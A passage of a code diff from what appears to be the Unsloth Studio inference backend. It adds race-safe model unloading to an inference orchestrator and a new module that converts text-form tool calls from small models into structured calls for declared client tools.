+        # Clear the local mirrors again AFTER the teardown. A racing off-gate load_model
+        # may still be parked in _wait_response("loaded"): its worker already queued a
+        # "loaded" reply, so during the shutdown window above (the 0.5s settle before the
+        # response queue is drained and nulled) that thread can consume it and repopulate
+        # active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess
+        # nulls the queue but not the mirrors, so without this second clear /unload reports
+        # success while the backend still advertises a killed model. The nulled queue lets
+        # no further "loaded" through, so re-clearing here wipes any repopulation.
+        self.active_model_name = None
+        self.models.clear()
+        return True
+
+    def unload_model(self, model_name: str) -> bool:
+        """Unload a model from the subprocess."""
+        # active_model_name can differ in case from the client's raw /unload name (the
+        # load path canonicalizes casing). Match case-insensitively and use the canonical
+        # spelling so the guard, unload command, and cleanup below hit the loaded model.
+        if (
+            self.active_model_name is not None
+            and model_name != self.active_model_name
+            and model_name.lower() == self.active_model_name.lower()
+        ):
+            model_name = self.active_model_name
+        # In-flight load: tear its subprocess down (shared loading-cancel logic; no
+        # worker command sent).
+        if self.cancel_load(model_name):
             return True
 
         if not self._ensure_subprocess_alive():
@@ -857,30 +1241,93 @@ class InferenceOrchestrator:
                 self.active_model_name = None
             return True
 
-        try:
-            self._send_cmd(
-                {
-                    "type": "unload",
-                    "model_name": model_name,
-                }
-            )
-            resp = self._wait_response("unloaded")
-
-            # Update local state
+        # Nothing loaded under this name: don't unload a stale model. The worker falls
+        # back to unloading its *active* model when the name is absent, so a stale unload
+        # (lost a race to a concurrent load) would hit the wrong one.
+        if model_name != self.active_model_name and model_name not in self.models:
             self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-
-            logger.info("Model '%s' unloaded from subprocess", model_name)
             return True
 
-        except Exception as exc:
-            logger.error("Error unloading model '%s': %s", model_name, exc)
-            # Clear local state anyway
-            self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-            return False
+        # The subprocess runs commands sequentially, so a bare unload queues behind a
+        # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
+        # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
+        #
+        # Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of
+        # the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a
+        # compare request's _start_dispatcher queued behind that stop then observes the
+        # unload and refuses to spawn a fresh dispatcher that would eat the "unloaded"
+        # reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet),
+        # so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock.
+        with self._dispatcher_lifecycle_lock:
+            self._unload_pending = True
+        # Cancelling only the running generation isn't enough: the worker clears
+        # cancel_event at each generate start, so a queued one would clear it and run the
+        # outgoing model to completion. drain_event, never cleared, makes any generate
+        # dequeued during the unload skip.
+        if self._drain_event is not None:
+            self._drain_event.set()
+        try:
+            self._cancel_generation()
+            acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT)
+            if not acquired:
+                # Wedged worker: tear the subprocess down to free the GPU (next load respawns).
+                logger.warning(
+                    "Unload: generation did not yield %.1fs after cancel; "
+                    "shutting the inference subprocess down to free the model",
+                    _UNLOAD_GEN_LOCK_TIMEOUT,
+                )
+                self._shutdown_subprocess(timeout = 5)
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return True
+
+            try:
+                # Stop the compare-mode dispatcher so it can't consume the "unloaded" reply
+                # off resp_queue before we do. A dispatched generation bypasses _gen_lock, so
+                # a wedged one slips past the acquire above; if the dispatcher is still active
+                # it owns resp_queue and the queued unload hangs _wait_response behind the
+                # stuck generate. Mirror the wedged locked path: tear the subprocess down.
+                if not self._wait_dispatcher_idle():
+                    logger.warning(
+                        "Unload: compare-mode dispatcher still active after idle "
+                        "wait; shutting the inference subprocess down to free the model"
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.models.pop(model_name, None)
+                    if self.active_model_name == model_name:
+                        self.active_model_name = None
+                    return True
+                # Drop stale tokens so they can't be read as the unload reply.
+                self._drain_queue()
+                self._send_cmd(
+                    {
+                        "type": "unload",
+                        "model_name": model_name,
+                    }
+                )
+                self._wait_response("unloaded")
+
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+
+                logger.info("Model '%s' unloaded from subprocess", model_name)
+                return True
+
+            except Exception as exc:
+                logger.error("Error unloading model '%s': %s", model_name, exc)
+                # Clear local state anyway
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return False
+            finally:
+                self._gen_lock.release()
+        finally:
+            self._unload_pending = False
+            if self._drain_event is not None:
+                self._drain_event.clear()
 
     def generate_chat_response(
         self,
@@ -899,6 +1346,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response, streaming tokens from subprocess.
 
@@ -908,6 +1356,8 @@ class InferenceOrchestrator:
 
         ``stats_holder``: caller-owned dict; on gen_done its "stats" key gets
         the worker's usage/timings. Request-scoped to avoid cross-stream reads.
+
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_inner(
             messages = messages,
@@ -926,6 +1376,7 @@ class InferenceOrchestrator:
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
             stats_holder = stats_holder,
+            presence_penalty = presence_penalty,
         )
 
     def generate_chat_completion_with_tools(
@@ -945,13 +1396,18 @@ class InferenceOrchestrator:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
         confirm_tool_calls: bool = False,
         bypass_permissions: bool = False,
+        permission_mode: Optional[str] = None,
         use_adapter: Optional[Union[bool, str]] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
+        reasoning_prefilled: bool = False,
         **_unused,
     ):
         """Run the safetensors agentic tool loop in the parent process,
@@ -987,14 +1443,30 @@ class InferenceOrchestrator:
                 preserve_thinking = preserve_thinking,
                 # last turn wins, like the GGUF tool loop
                 stats_holder = stats_holder,
+                presence_penalty = presence_penalty,
             )
             if use_adapter is not None:
-                yield from self.generate_with_adapter_control(
+                stream = self.generate_with_adapter_control(
                     use_adapter = use_adapter,
                     **common_kwargs,
                 )
             else:
-                yield from self.generate_chat_response(**common_kwargs)
+                stream = self.generate_chat_response(**common_kwargs)
+            close_stream = False
+            try:
+                for chunk in stream:
+                    if isinstance(chunk, GenStreamError):
+                        close_stream = True
+                        raise GenStreamErrorRaised(str(chunk), public = chunk.public)
+                    yield chunk
+            finally:
+                if close_stream:
+                    close = getattr(stream, "close", None)
+                    if callable(close):
+                        try:
+                            close()
+                        except Exception:
+                            logger.debug("failed to close errored generation stream", exc_info = True)
 
         initial = list(messages)
         if system_prompt:
@@ -1007,12 +1479,16 @@ class InferenceOrchestrator:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
+            thread_id = thread_id,
             rag_scope = rag_scope,
             confirm_tool_calls = confirm_tool_calls,
             bypass_permissions = bypass_permissions,
+            permission_mode = permission_mode,
+            reasoning_prefilled = reasoning_prefilled,
         )
 
     def generate_with_adapter_control(
@@ -1053,6 +1529,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic — sends command to subprocess, yields tokens.
 
@@ -1060,12 +1537,13 @@ class InferenceOrchestrator:
         readers don't consume each other's tokens off the shared resp_queue.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
             return
+        expected_model = self.active_model_name
 
         # Drain any prior compare-mode dispatcher so we can read resp_queue.
         self._wait_dispatcher_idle()
@@ -1074,6 +1552,14 @@ class InferenceOrchestrator:
         # consume and drop each other's token events. Hold _gen_lock across the
         # cmd build + send + whole stream so we stay the sole resp_queue reader.
         with self._gen_lock:
+            # Recheck under the lock: an unload we raced may have cleared/swapped the model.
+            # _unload_pending resets after the lock releases, so it can read False by now;
+            # the active-model check catches that handoff and a reload that swapped models,
+            # so we never generate on the wrong one.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield GenStreamError("Error: model is being unloaded", public = True)
+                return
             request_id = str(uuid.uuid4())
             image_b64 = self._pil_to_base64(image) if image is not None else None
             cmd = self._build_generate_cmd(
@@ -1087,6 +1573,7 @@ class InferenceOrchestrator:
                 min_p = min_p,
                 max_new_tokens = max_new_tokens,
                 repetition_penalty = repetition_penalty,
+                presence_penalty = presence_penalty,
                 use_adapter = use_adapter,
                 tools = tools,
                 enable_thinking = enable_thinking,
@@ -1097,7 +1584,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
@@ -1141,53 +1628,62 @@ class InferenceOrchestrator:
             raise RuntimeError("Inference subprocess is not running")
         if not self.active_model_name:
             raise RuntimeError("No active model")
+        expected_model = self.active_model_name
 
-        request_id = str(uuid.uuid4())
+        # Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the
+        # outgoing model once an unload is pending, like the text and audio-input paths.
+        # Without this a concurrent /audio/generate could run TTS on a model being switched.
+        with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                raise RuntimeError("model is being unloaded")
 
-        cmd = {
-            "type": "generate_audio",
-            "request_id": request_id,
-            "text": text,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
+            request_id = str(uuid.uuid4())
 
-        self._send_cmd(cmd)
+            cmd = {
+                "type": "generate_audio",
+                "request_id": request_id,
+                "text": text,
+                "temperature": temperature,
+                "top_p": top_p,
+                "top_k": top_k,
+                "min_p": min_p,
+                "max_new_tokens": max_new_tokens,
+                "repetition_penalty": repetition_penalty,
+            }
+            if use_adapter is not None:
+                cmd["use_adapter"] = use_adapter
 
-        # Wait for audio_done or audio_error
-        deadline = time.monotonic() + 120.0
-        while time.monotonic() < deadline:
-            remaining = max(0.1, deadline - time.monotonic())
-            resp = self._read_resp(timeout = min(remaining, 1.0))
+            self._send_cmd(cmd)
 
-            if resp is None:
-                if not self._ensure_subprocess_alive():
-                    raise RuntimeError(self._subprocess_crash_message("audio generation"))
-                continue
+            deadline = time.monotonic() + 120.0
+            while time.monotonic() < deadline:
+                remaining = max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
 
-            rtype = resp.get("type", "")
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("audio generation"))
+                    continue
 
-            if rtype == "audio_done":
-                wav_bytes = base64.b64decode(resp["wav_base64"])
-                sample_rate = resp["sample_rate"]
-                return wav_bytes, sample_rate
+                rtype = resp.get("type", "")
 
-            if rtype == "audio_error":
-                raise RuntimeError(resp.get("error", "Audio generation failed"))
+                if rtype == "audio_done":
+                    wav_bytes = base64.b64decode(resp["wav_base64"])
+                    sample_rate = resp["sample_rate"]
+                    return wav_bytes, sample_rate
 
-            if rtype == "error":
-                raise RuntimeError(resp.get("error", "Unknown error"))
+                if rtype == "audio_error":
+                    raise RuntimeError(resp.get("error", "Audio generation failed"))
 
-            if rtype == "status":
-                continue
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Unknown error"))
 
-        raise RuntimeError("Timeout waiting for audio generation (120s)")
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for audio generation (120s)")
 
     def generate_whisper_response(
         self,
@@ -1247,13 +1743,20 @@ class InferenceOrchestrator:
     ) -> Generator[str, None, None]:
         """Shared inner logic for audio input generation (Whisper + ASR)."""
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
             return
+        expected_model = self.active_model_name
 
         with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield GenStreamError("Error: model is being unloaded", public = True)
+                return
             request_id = str(uuid.uuid4())
 
             # numpy array -> list for mp.Queue serialization
@@ -1279,7 +1782,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
new file mode 100644
index 0000000000..ed7c7ecfcf
--- /dev/null
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -0,0 +1,560 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tool-call healing for the client-tool passthrough.
+
+With server-side tools disabled (``unsloth run --disable-tools``, every
+``unsloth start`` coding agent), requests carrying the client's own ``tools``
+bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
+GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
+Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
+``tool_calls`` -- on the passthrough that text reaches the agent as prose and
+the turn dies. This module promotes such text back into structured calls on the
+RESPONSE side only: the upstream request body is never touched, no extra
+generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
+
+Healing only ever fires when the request declared client tools, and only
+promotes calls whose function name exactly matches a declared tool. Promotion
+removes EXACTLY the promoted calls' markup spans (the parser reports them):
+undeclared calls, unparseable blocks, and suppressed alternate formats keep
+every byte and relay as text, so healing can never silently delete model
+output. Responses without a tool signal, requests without tools, and Studio's
+own enable-tools loop are untouched. Per-request opt-out:
+``auto_heal_tool_calls: false``. Process kill-switch:
+``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
+"""
+
+import json
+import os
+from collections.abc import Mapping
+from typing import Any, Optional
+
+from core.inference.tool_loop_controller import coerce_tool_arguments
+from core.tool_healing import parse_tool_calls_from_text
+
+# Only the formats this healer's parser can promote -- narrower than the loops'
+# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare
+# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a
+# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in.
+_HEAL_SIGNALS = (
+    "<tool_call>",
+    "<|tool_call>",
+    "<function=",
+    "[TOOL_CALLS]",
+    # TML Inkling native call marker (leaks as text when the server-side
+    # parser misses a narration-then-call turn).
+    "<|content_invoke_tool_json|>",
+)
+
+
+def _has_heal_signal(text: str) -> bool:
+    return any(s in text for s in _HEAL_SIGNALS)
+
+
+# Read once at import (same convention as the other UNSLOTH_* switches).
+_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
+# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
+# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
+_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
+
+
+def nudge_enabled(request_flag: Optional[bool]) -> bool:
+    return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
+
+
+_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS)
+# A suspected-but-unclosed tool block larger than this is declared a false
+# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
+_MAX_HOLD_CHARS = 64 * 1024
+
+
+def heal_gate(
+    auto_heal: Optional[bool],
+    tools: Optional[list],
+    tool_choice: Any = None,
+) -> Optional[set]:
+    """Return the declared client-tool name set when healing applies, else None.
+
+    ``tools`` is the OpenAI-shaped list forwarded to llama-server
+    (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
+    doubles as the promotion allowlist so healed calls can never invent a tool
+    the client did not declare.
+
+    ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
+    contradicts the request: ``"none"`` forbids tool calls outright (text-form
+    markup stays text), and a forced ``{"type": "function", "function":
+    {"name": N}}`` narrows promotion to that one function. ``"auto"`` /
+    ``"required"`` / absent keep the full declared set.
+    """
+    if _HEALING_DISABLED or auto_heal is False:
+        return None
+    if tool_choice == "none":
+        return None
+    names = set()
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if isinstance(function, dict) and isinstance(function.get("name"), str):
+            names.add(function["name"])
+    if isinstance(tool_choice, dict):
+        function = tool_choice.get("function")
+        forced = function.get("name") if isinstance(function, dict) else None
+        if isinstance(forced, str):
+            names &= {forced}
+    return names or None
+
+
+def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
+    schemas: dict[str, Any] = {}
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if not isinstance(function, dict):
+            continue
+        name = function.get("name")
+        if isinstance(name, str):
+            schemas[name] = function.get("parameters")
+    return schemas
+
+
+def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
+    if not isinstance(schema, dict):
+        return None
+    properties = schema.get("properties")
+    required = schema.get("required")
+    if not isinstance(properties, dict) or not isinstance(required, list):
+        return None
+    required_names = [name for name in required if isinstance(name, str)]
+    if len(required_names) != 1:
+        return None
+    key = required_names[0]
+
+    if key not in properties:
+        return None
+    prop_schema = properties.get(key)
+    if isinstance(prop_schema, dict):
+        prop_type = prop_schema.get("type")
+        if isinstance(prop_type, list):
+            if "string" not in prop_type:
+                return None
+        elif prop_type is not None and prop_type != "string":
+            return None
+    return key
+
+
+def _coerce_promoted_arguments(
+    raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
+) -> Optional[dict]:
+    if isinstance(raw_args, Mapping):
+        return dict(raw_args)
+    if isinstance(raw_args, str):
+        try:
+            parsed = json.loads(raw_args)
+            if isinstance(parsed, Mapping):
+                return dict(parsed)
+        except (json.JSONDecodeError, ValueError):
+            pass
+        if tool_schemas is not None:
+            key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
+            return {key: raw_args} if key else None
+    coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
+    return coerced.arguments
+
+
+def _promote(
+    calls: list,
+    allowed_tools: set,
+    id_offset: int = 0,
+    tool_schemas: Optional[dict] = None,
+) -> list:
+    """Filter parsed calls to declared tools and normalize their arguments.
+
+    Bare string arguments on the client-tool passthrough use the declared
+    schema's single required string property. If the schema is ambiguous, the
+    call stays text instead of inventing a generic key.
+    """
+    promoted = []
+    for call in calls:
+        function = call.get("function") if isinstance(call, dict) else None
+        name = function.get("name") if isinstance(function, dict) else None
+        if name not in allowed_tools:
+            continue
+        arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
+        if arguments is None:
+            continue
+        promoted.append(
+            {
+                "id": f"call_{id_offset + len(promoted)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(arguments, ensure_ascii = False),
+                },
+            }
+        )
+    return promoted
+
+
+def _remove_spans(text: str, spans: list) -> str:
+    """Text with the given non-overlapping, sorted (start, end) ranges removed."""
+    pieces = []
+    pos = 0
+    for start, end in spans:
+        pieces.append(text[pos:start])
+        pos = end
+    pieces.append(text[pos:])
+    return "".join(pieces)
+
+
+def heal_openai_message_events(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> Optional[list]:
+    if not isinstance(msg, dict) or msg.get("tool_calls"):
+        return None
+    content = msg.get("content")
+    if not isinstance(content, str) or not _has_heal_signal(content):
+        return None
+    parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    events: list = []
+    pos = 0
+    call_count = 0
+    for call, (start, end) in zip(parsed, spans):
+        promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
+        if promoted:
+            if content[pos:start]:
+                events.append(("text", content[pos:start]))
+            events.append(("tool_call", promoted[0]))
+            call_count += 1
+        else:
+            events.append(("text", content[pos:end]))
+        pos = end
+    if not call_count:
+        return None
+    if content[pos:]:
+        events.append(("text", content[pos:]))
+    return events
+
+
+def heal_openai_message(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Promote text-form tool calls in a non-streaming OpenAI message. In place.
+
+    No-op (returns False) unless the message has NO structured ``tool_calls``
+    (grammar mode already worked when it does) and its content carries a tool
+    signal that parses into at least one declared call. Only the promoted
+    calls' markup spans are removed from the content; undeclared calls and
+    anything the parser did not consume stay in the text byte-intact.
+    """
+    events = heal_openai_message_events(msg, allowed_tools, tools)
+    if not events:
+        return False
+    calls = [value for kind, value in events if kind == "tool_call"]
+    content = "".join(value for kind, value in events if kind == "text").strip()
+    msg["tool_calls"] = calls
+    # OpenAI requires content = null on a pure tool-call turn.
+    msg["content"] = content or None
+    return True
+
+
+def _earliest_signal(buffer: str) -> int:
+    best = -1
+    for signal in _HEAL_SIGNALS:
+        index = buffer.find(signal)
+        if index >= 0 and (best < 0 or index < best):
+            best = index
+    return best
+
+
+def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
+    spans = []
+    for open_tag, close_tag in (
+        ("<tool_call>", "</tool_call>"),
+        ("<|tool_call>", "<tool_call|>"),
+        ("<function=", "</function>"),
+    ):
+        start = buffer.find(open_tag)
+        if start < 0:
+            continue
+        end = buffer.find(close_tag, start)
+        if end >= 0:
+            spans.append((start, end + len(close_tag)))
+    return min(spans, key = lambda span: span[0]) if spans else None
+
+
+def _partial_signal_suffix(buffer: str) -> int:
+    """Length of the longest buffer suffix that is a proper prefix of a signal."""
+    for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
+        tail = buffer[-length:]
+        if any(signal.startswith(tail) for signal in _HEAL_SIGNALS):
+            return length
+    return 0
+
+
+class StreamToolCallHealer:
+    """Buffer-and-repair state machine for streamed passthrough content.
+
+    ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
+    to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
+    (string ``function.arguments``). Normal prose is forwarded immediately; only
+    a trailing partial-signal window (< max signal length) or a suspected tool
+    block is ever withheld, so streaming latency stays bounded. A false alarm
+    (the buffer can no longer become a parseable declared call) flushes the held
+    text verbatim.
+    """
+
+    def __init__(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+    ) -> None:
+        self._allowed = set(allowed_tools)
+
+        self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+        self._buffer = ""
+        self._holding = False
+        self._id_offset = 0
+        # Structured delta.tool_calls seen upstream: grammar mode already
+        # worked, so healing goes dormant and text relays verbatim.
+        self.dormant = False
+
+    @property
+    def healed(self) -> bool:
+        return self._id_offset > 0
+
+    def structured_tool_call_seen(self) -> list:
+        """Go dormant; flush anything held so no text is swallowed."""
+        self.dormant = True
+        held, self._buffer, self._holding = self._buffer, "", False
+        return [("text", held)] if held else []
+
+    def feed(self, text: str) -> list:
+        if self.dormant:
+            return [("text", text)] if text else []
+        self._buffer += text
+        return self._drain()
+
+    def _drain(self) -> list:
+        events: list = []
+        while True:
+            if not self._holding:
+                start = _earliest_signal(self._buffer)
+                if start >= 0:
+                    if start:
+                        events.append(("text", self._buffer[:start]))
+                    self._buffer = self._buffer[start:]
+                    self._holding = True
+                else:
+                    keep = _partial_signal_suffix(self._buffer)
+                    emit = self._buffer[: len(self._buffer) - keep]
+                    if emit:
+                        events.append(("text", emit))
+                    self._buffer = self._buffer[len(self._buffer) - keep :]
+                    return events
+            # HOLD: drain the first contiguous run per pass so events keep document
+            # order (a later declared call must not overtake an earlier undeclared one
+            # flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS]
+            # array of contiguous spans, so later calls in it are not stranded as text.
+            parsed, spans = parse_tool_calls_from_text(
+                self._buffer,
+                id_offset = self._id_offset,
+                allow_incomplete = False,
+                with_spans = True,
+            )
+            if not parsed:
+                closed_span = _closed_signal_span(self._buffer)
+                if closed_span:
+                    _start, end = closed_span
+                    events.append(("text", self._buffer[:end]))
+                    self._buffer = self._buffer[end:]
+                    self._holding = False
+                    continue
+                if len(self._buffer) > _MAX_HOLD_CHARS:
+                    events.append(("text", self._buffer))
+                    self._buffer = ""
+                    self._holding = False
+                    continue
+                return events
+            pos = 0
+            run_end = spans[0][1]
+            for order, (call, (start, end)) in enumerate(zip(parsed, spans)):
+                # Stop at the first gap or incomplete trailing block: leave it for the
+                # next pass to re-hold and stream incrementally, not flush as text early.
+                if order and start != run_end:
+                    break
+                promoted = _promote(
+                    [call],
+                    self._allowed,
+                    id_offset = self._id_offset,
+                    tool_schemas = self._tool_schemas,
+                )
+                if promoted:
+                    # Flush any leading text, then drop the promoted markup span.
+                    if self._buffer[pos:start]:
+                        events.append(("text", self._buffer[pos:start]))
+                    events.append(("tool_call", promoted[0]))
+                    self._id_offset += 1
+                else:
+                    # Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim.
+                    events.append(("text", self._buffer[pos:end]))
+                pos = end
+                run_end = end
+            # Everything past the drained run (later blocks) stays and is rescanned.
+            self._buffer = self._buffer[run_end:]
+            self._holding = False
+
+    def finalize(self) -> list:
+        """End of stream: last-chance heal of the residue, else flush it.
+
+        Events keep document order; only the promoted calls' markup spans are
+        dropped, every other residue byte flushes as text.
+        """
+        if not self._buffer:
+            return []
+        residue, self._buffer = self._buffer, ""
+        holding, self._holding = self._holding, False
+        if self.dormant or not holding:
+            return [("text", residue)]
+        parsed, spans = parse_tool_calls_from_text(
+            residue,
+            id_offset = self._id_offset,
+            allow_incomplete = True,
+            with_spans = True,
+        )
+        events: list = []
+        pos = 0
+        any_promoted = False
+        for call, (start, end) in zip(parsed, spans):
+            promoted = _promote(
+                [call],
+                self._allowed,
+                id_offset = self._id_offset,
+                tool_schemas = self._tool_schemas,
+            )
+            if promoted:
+                if residue[pos:start]:
+                    events.append(("text", residue[pos:start]))
+                events.append(("tool_call", promoted[0]))
+                self._id_offset += 1
+                any_promoted = True
+            else:
+                events.append(("text", residue[pos:end]))
+            pos = end
+        if not any_promoted:
+            return [("text", residue)]
+        tail = residue[pos:].strip()
+        if tail:
+            events.append(("text", tail))
+        return events
+
+
+def _first_choice_message(data: Any) -> Optional[dict]:
+    """First-choice message dict of a non-streaming chat response, else None.
+
+    Upstream error bodies can carry ``"message": null`` (or no choices at all),
+    so never assume the shape: a non-dict message means "nothing to heal".
+    """
+    try:
+        message = data["choices"][0]["message"]
+    except (KeyError, IndexError, TypeError):
+        return None
+    return message if isinstance(message, dict) else None
+
+
+def _last_assistant_text(data: Any) -> str:
+    """First-choice assistant content of a non-streaming chat response, or ''."""
+    message = _first_choice_message(data)
+    content = message.get("content") if message else None
+    return content if isinstance(content, str) else ""
+
+
+def _heal_would_promote(
+    text: str,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Whether ``heal_openai_message`` would promote at least one call."""
+    parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
+
+
+def response_has_promotable_calls(
+    data: Any,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """True when a non-streaming chat response carries a usable tool call
+    (structured naming a DECLARED tool, or text-form that healing would
+    promote). Used to decide whether a nudge retry actually improved on the
+    original response; a hallucinated undeclared call is not an improvement."""
+    message = _first_choice_message(data)
+    if not message:
+        return False
+    tool_calls = message.get("tool_calls")
+    if tool_calls:
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST one), so a mixed
+        # response with a single hallucinated name could still hand the client
+        # an undeclared tool.
+        return all(
+            isinstance(tc, dict)
+            and isinstance(tc.get("function"), dict)
+            and tc["function"].get("name") in allowed_tools
+            for tc in tool_calls
+        )
+    text = message.get("content")
+    if not isinstance(text, str):
+        return False
+    return _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_should_retry(
+    data: Any,
+    allowed_tools: Optional[set],
+    tools: Optional[list] = None,
+) -> bool:
+    """True when the first response tried to call a tool but nothing healed.
+
+    Trigger only on: healing enabled (allowed_tools set), zero structured
+    calls, a tool signal present in the text, and zero promotable calls -- the
+    exact failure a single re-ask can fix. Clean prose never retries.
+    """
+    if not allowed_tools:
+        return False
+    message = _first_choice_message(data)
+    if not message or message.get("tool_calls"):
+        return False
+    text = message.get("content")
